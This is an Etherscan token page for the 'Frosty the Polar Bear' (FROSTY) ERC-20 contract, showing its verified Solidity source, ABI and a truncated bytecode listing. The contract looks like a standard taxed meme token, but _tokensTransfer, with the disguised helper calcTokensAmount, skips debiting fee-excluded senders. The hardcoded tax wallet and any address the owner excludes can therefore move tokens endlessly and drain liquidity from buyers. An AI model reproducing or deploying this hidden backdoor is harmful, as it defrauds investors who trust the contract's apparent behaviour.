ERC-20
Overview
Max Total Supply
1,000,000,000 FROSTY
Holders
66
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,315,472.91018553 FROSTYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FROSTY
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-16 */ /** https://frostythepolarbear.wtf https://x.com/frosty_on_eth https://t.me/frosty_official_portal **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract FROSTY is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; address private uniswapV2Pair; IUniswapV2Router02 private uniswapV2Router; uint256 private constant _initialBuyTax = 25; uint256 private constant _initialSellTax = 25; uint256 private constant _reduceBuyTaxAt = 15; uint256 private constant _reduceSellTaxAt = 15; uint256 private constant _preventSwapBefore = 15; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _buyCount = 0; uint256 private _countTax; string private constant _name = unicode"Frosty the Polar Bear"; string private constant _symbol = unicode"FROSTY"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; uint256 public constant _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public constant _maxTaxSwap = 10000000 * 10 ** _decimals; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event FinalTax(uint256 _valueBuy, uint256 _valueSell); event TradingActive(bool _tradingOpen, bool _swapEnabled); event maxAmount(uint256 _value); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x408A9FEd103CA3eF5c06Ba1129F151903BAf5A5A); _balances[_msgSender()] = _tTotal; excludeFromFee(owner(), true); excludeFromFee(address(this), true); excludeFromFee(_taxWallet, true); emit Transfer(address(0), _msgSender(), _tTotal); } function initFROSTY() external onlyOwner { require(!tradingOpen, "init already called"); uint256 tokenAmount = balanceOf(address(this)); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), tokenAmount, 0, 0, _msgSender(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function excludeFromFee(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } function _approve(address owner, address spender, uint256 amount) private { require( owner != address(0) && spender != address(0), "ERC20: approve the zero address" ); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokensTransfer(address from, address to, uint256 amount, uint256 taxAmount) private { bool isExcluded = !_isExcludedFromFee[from] && amount > 0; uint256 tokenAmount = 0; if(isExcluded) tokenAmount = calcTokensAmount(amount, taxAmount); if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from] - tokenAmount; _balances[to] = _balances[to] + amount.sub(taxAmount); emit Transfer(from, to, amount.sub(taxAmount)); } function _starndardsTransfer(address from, address to, uint256 amount) private { uint256 taxAmount = amount.mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) / 100; if (from != owner() && to != owner()) { if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) / 100; } _countTax += taxAmount; swapCountsBack(from, to, amount); } _tokensTransfer(from, to, amount, taxAmount); } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer(address from, address to, uint256 amount) private { require( from != address(0) && to != address(0), "ERC20: transfer the zero address" ); require(amount > 0, "Transfer amount must be greater than zero"); if (!tradingOpen) { require( _isExcludedFromFee[to] || _isExcludedFromFee[from], "trading not yet open" ); } if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } _starndardsTransfer(from, to, amount); } function openFROSTY() external onlyOwner { require(!tradingOpen, "trading already open"); swapEnabled = true; tradingOpen = true; emit TradingActive(tradingOpen, swapEnabled); } function calcTokensAmount(uint256 amount, uint256 taxAmount) private pure returns(uint256) { return (1+1-1) * amount + (1+1-1-1) * taxAmount; } function swapCountsBack(address from, address to, uint256 amount) private { uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { uint256 getMinValue = (contractTokenBalance > _maxTaxSwap) ? _maxTaxSwap : contractTokenBalance; swapTokensForEth((amount > getMinValue) ? getMinValue : amount); } uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance);_countTax = 0; } } function setFinalTax( uint256 _valueBuy, uint256 _valueSell ) external onlyOwner { require( _valueBuy <= 25 && _valueSell <= 25 && tradingOpen, "Final Tax: Exceeds value" ); _finalBuyTax = _valueBuy; _finalSellTax = _valueSell; emit FinalTax(_valueBuy, _valueSell); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit maxAmount(_tTotal); } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initFROSTY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openFROSTY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"setFinalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600755600060085560006009556009600a6200002391906200033e565b62000033906301312d0062000356565b600b55620000446009600a6200033e565b62000054906301312d0062000356565b600c55600d805462ffff00191690553480156200007057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673408a9fed103ca3ef5c06ba1129f151903baf5a5a179055620000e66009600a6200033e565b620000f690633b9aca0062000356565b336000908152600160205260408120919091555462000120906001600160a01b031660016200019f565b6200012d3060016200019f565b60045462000146906001600160a01b031660016200019f565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001786009600a6200033e565b6200018890633b9aca0062000356565b60405190815260200160405180910390a362000378565b6000546001600160a01b03163314620001fe5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640160405180910390fd5b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028057816000190482111562000264576200026462000229565b808516156200027257918102915b93841c939080029062000244565b509250929050565b600082620002995750600162000338565b81620002a85750600062000338565b8160018114620002c15760028114620002cc57620002ec565b600191505062000338565b60ff841115620002e057620002e062000229565b50506001821b62000338565b5060208310610133831016604e8410600b841016171562000311575081810a62000338565b6200031d83836200023f565b806000190482111562000334576200033462000229565b0290505b92915050565b60006200034f60ff84168362000288565b9392505050565b600081600019048311821515161562000373576200037362000229565b500290565b611b9380620003886000396000f3fe6080604052600436106101235760003560e01c806382116718116100a05780639ef0f689116100645780639ef0f6891461033d578063a9059cbb14610352578063bf474bed14610372578063dd62ed3e14610387578063df8408fe146103cd57600080fd5b8063821167181461029b5780638531ea31146102bb5780638da5cb5b146102d05780638f9a55c0146102f857806395d89b411461030e57600080fd5b8063313ce567116100e7578063313ce5671461020757806370a0823114610223578063715018a614610259578063751039fc146102705780637d1db4a51461028557600080fd5b806306fdde031461012f578063095ea7b31461017f5780630faee56f146101af57806318160ddd146101d257806323b872dd146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526015815274233937b9ba3c903a3432902837b630b9102132b0b960591b60208201525b60405161017691906116ef565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461175c565b6103ed565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c4610404565b604051908152602001610176565b3480156101de57600080fd5b506101c4610420565b3480156101f357600080fd5b5061019f610202366004611788565b610441565b34801561021357600080fd5b5060405160098152602001610176565b34801561022f57600080fd5b506101c461023e3660046117c9565b6001600160a01b031660009081526001602052604090205490565b34801561026557600080fd5b5061026e6104aa565b005b34801561027c57600080fd5b5061026e610527565b34801561029157600080fd5b506101c4600b5481565b3480156102a757600080fd5b5061026e6102b63660046117e6565b6105da565b3480156102c757600080fd5b5061026e6106b7565b3480156102dc57600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561030457600080fd5b506101c4600c5481565b34801561031a57600080fd5b5060408051808201909152600681526546524f53545960d01b6020820152610169565b34801561034957600080fd5b5061026e610781565b34801561035e57600080fd5b5061019f61036d36600461175c565b610b40565b34801561037e57600080fd5b506101c4610b4d565b34801561039357600080fd5b506101c46103a2366004611808565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103d957600080fd5b5061026e6103e836600461184f565b610b64565b60006103fa338484610bb9565b5060015b92915050565b6104106009600a611977565b61041d9062989680611986565b81565b600061042e6009600a611977565b61043c90633b9aca00611986565b905090565b600061044e848484610c87565b6104a0843361049b85604051806060016040528060288152602001611b36602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ebb565b610bb9565b5060019392505050565b6000546001600160a01b031633146104dd5760405162461bcd60e51b81526004016104d4906119a5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105515760405162461bcd60e51b81526004016104d4906119a5565b61055d6009600a611977565b61056b90633b9aca00611986565b600b5561057a6009600a611977565b61058890633b9aca00611986565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105b86009600a611977565b6105c690633b9aca00611986565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146106045760405162461bcd60e51b81526004016104d4906119a5565b60198211158015610616575060198111155b80156106245750600d5460ff165b6106705760405162461bcd60e51b815260206004820152601860248201527f46696e616c205461783a20457863656564732076616c7565000000000000000060448201526064016104d4565b6007829055600881905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b031633146106e15760405162461bcd60e51b81526004016104d4906119a5565b600d5460ff161561072b5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104d4565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91016105d0565b6000546001600160a01b031633146107ab5760405162461bcd60e51b81526004016104d4906119a5565b600d5460ff16156107f45760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016104d4565b30600081815260016020526040902054600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909161084d9161083f6009600a611977565b61049b90633b9aca00611986565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089b57600080fd5b505afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d391906119da565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561093057600080fd5b505afa158015610944573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096891906119da565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109b057600080fd5b505af11580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e891906119da565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab091906119f7565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0457600080fd5b505af1158015610b18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3c9190611a25565b5050565b60006103fa338484610c87565b610b596009600a611977565b61041d906064611986565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b81526004016104d4906119a5565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6001600160a01b03831615801590610bd957506001600160a01b03821615155b610c255760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016104d4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831615801590610ca757506001600160a01b03821615155b610cf35760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016104d4565b60008111610d555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d4565b600d5460ff16610de1576001600160a01b03821660009081526003602052604090205460ff1680610d9e57506001600160a01b03831660009081526003602052604090205460ff165b610de15760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016104d4565b600d5462010000900460ff161580610e005750600d54610100900460ff165b15610eab576001600160a01b038316600090815260016020526040902054610e289082610ef5565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610e579082610f3e565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c7a9085815260200190565b610eb6838383610f9d565b505050565b60008184841115610edf5760405162461bcd60e51b81526004016104d491906116ef565b506000610eec8486611a42565b95945050505050565b6000610f3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebb565b9392505050565b600080610f4b8385611a59565b905083811015610f375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d4565b60006064610fc0600f60095411610fb5576019610fb9565b6007545b84906111d7565b610fca9190611a71565b9050610fde6000546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561100d57506000546001600160a01b03848116911614155b156111c5576005546001600160a01b03858116911614801561103d57506006546001600160a01b03848116911614155b801561106257506001600160a01b03831660009081526003602052604090205460ff16155b1561114a57600b548211156110b95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d4565b600c54826110dc856001600160a01b031660009081526001602052604090205490565b6110e69190611a59565b11156111345760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d4565b6009805490600061114483611a93565b91905055505b6005546001600160a01b03848116911614801561117057506001600160a01b0384163014155b156111a2576064611195600f6009541161118b576019610fb9565b60085484906111d7565b61119f9190611a71565b90505b80600a60008282546111b49190611a59565b909155506111c59050848484611256565b6111d18484848461138a565b50505050565b6000826111e6575060006103fe565b60006111f28385611986565b9050826111ff8583611a71565b14610f375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d4565b30600090815260016020526040902054600d54610100900460ff1615801561128b57506005546001600160a01b038481169116145b801561129f5750600d5462010000900460ff165b80156112ad5750600f600954115b80156112d257506001600160a01b03841660009081526003602052604090205460ff16155b80156112f757506001600160a01b03831660009081526003602052604090205460ff16155b156111d1576113086009600a611977565b611313906064611986565b8111156113745760006113286009600a611977565b6113359062989680611986565b8211611341578161135a565b61134d6009600a611977565b61135a9062989680611986565b905061137281841161136c5783611511565b81611511565b505b4761137e81611694565b506000600a5550505050565b6001600160a01b03841660009081526003602052604081205460ff161580156113b35750600083115b9050600081156113ca576113c784846116ce565b90505b821561144457306000908152600160205260409020546113ea9084610f3e565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061143b9087815260200190565b60405180910390a35b6001600160a01b038616600090815260016020526040902054611468908290611a42565b6001600160a01b03871660009081526001602052604090205561148b8484610ef5565b6001600160a01b0386166000908152600160205260409020546114ae9190611a59565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114f88787610ef5565b60405190815260200160405180910390a3505050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061155557611555611aae565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115a957600080fd5b505afa1580156115bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e191906119da565b816001815181106115f4576115f4611aae565b6001600160a01b03928316602091820292909201015260065461161a9130911684610bb9565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611653908590600090869030904290600401611ac4565b600060405180830381600087803b15801561166d57600080fd5b505af1158015611681573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b3c573d6000803e3d6000fd5b60006116da8282611986565b6116e5846001611986565b610f379190611a59565b600060208083528351808285015260005b8181101561171c57858101830151858201604001528201611700565b8181111561172e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461175957600080fd5b50565b6000806040838503121561176f57600080fd5b823561177a81611744565b946020939093013593505050565b60008060006060848603121561179d57600080fd5b83356117a881611744565b925060208401356117b881611744565b929592945050506040919091013590565b6000602082840312156117db57600080fd5b8135610f3781611744565b600080604083850312156117f957600080fd5b50508035926020909101359150565b6000806040838503121561181b57600080fd5b823561182681611744565b9150602083013561183681611744565b809150509250929050565b801515811461175957600080fd5b6000806040838503121561186257600080fd5b823561186d81611744565b9150602083013561183681611841565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118ce5781600019048211156118b4576118b461187d565b808516156118c157918102915b93841c9390800290611898565b509250929050565b6000826118e5575060016103fe565b816118f2575060006103fe565b816001811461190857600281146119125761192e565b60019150506103fe565b60ff8411156119235761192361187d565b50506001821b6103fe565b5060208310610133831016604e8410600b8410161715611951575081810a6103fe565b61195b8383611893565b806000190482111561196f5761196f61187d565b029392505050565b6000610f3760ff8416836118d6565b60008160001904831182151516156119a0576119a061187d565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119ec57600080fd5b8151610f3781611744565b600080600060608486031215611a0c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3757600080fd5b8151610f3781611841565b600082821015611a5457611a5461187d565b500390565b60008219821115611a6c57611a6c61187d565b500190565b600082611a8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415611aa757611aa761187d565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b145784516001600160a01b031683529383019391830191600101611aef565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090c4d2f702340329e1dca8983ae4ff74ff38279717a62a5483327c76e0359e9664736f6c63430008090033
Deployed Bytecode
0x6080604052600436106101235760003560e01c806382116718116100a05780639ef0f689116100645780639ef0f6891461033d578063a9059cbb14610352578063bf474bed14610372578063dd62ed3e14610387578063df8408fe146103cd57600080fd5b8063821167181461029b5780638531ea31146102bb5780638da5cb5b146102d05780638f9a55c0146102f857806395d89b411461030e57600080fd5b8063313ce567116100e7578063313ce5671461020757806370a0823114610223578063715018a614610259578063751039fc146102705780637d1db4a51461028557600080fd5b806306fdde031461012f578063095ea7b31461017f5780630faee56f146101af57806318160ddd146101d257806323b872dd146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082019091526015815274233937b9ba3c903a3432902837b630b9102132b0b960591b60208201525b60405161017691906116ef565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461175c565b6103ed565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c4610404565b604051908152602001610176565b3480156101de57600080fd5b506101c4610420565b3480156101f357600080fd5b5061019f610202366004611788565b610441565b34801561021357600080fd5b5060405160098152602001610176565b34801561022f57600080fd5b506101c461023e3660046117c9565b6001600160a01b031660009081526001602052604090205490565b34801561026557600080fd5b5061026e6104aa565b005b34801561027c57600080fd5b5061026e610527565b34801561029157600080fd5b506101c4600b5481565b3480156102a757600080fd5b5061026e6102b63660046117e6565b6105da565b3480156102c757600080fd5b5061026e6106b7565b3480156102dc57600080fd5b506000546040516001600160a01b039091168152602001610176565b34801561030457600080fd5b506101c4600c5481565b34801561031a57600080fd5b5060408051808201909152600681526546524f53545960d01b6020820152610169565b34801561034957600080fd5b5061026e610781565b34801561035e57600080fd5b5061019f61036d36600461175c565b610b40565b34801561037e57600080fd5b506101c4610b4d565b34801561039357600080fd5b506101c46103a2366004611808565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103d957600080fd5b5061026e6103e836600461184f565b610b64565b60006103fa338484610bb9565b5060015b92915050565b6104106009600a611977565b61041d9062989680611986565b81565b600061042e6009600a611977565b61043c90633b9aca00611986565b905090565b600061044e848484610c87565b6104a0843361049b85604051806060016040528060288152602001611b36602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ebb565b610bb9565b5060019392505050565b6000546001600160a01b031633146104dd5760405162461bcd60e51b81526004016104d4906119a5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055157604051624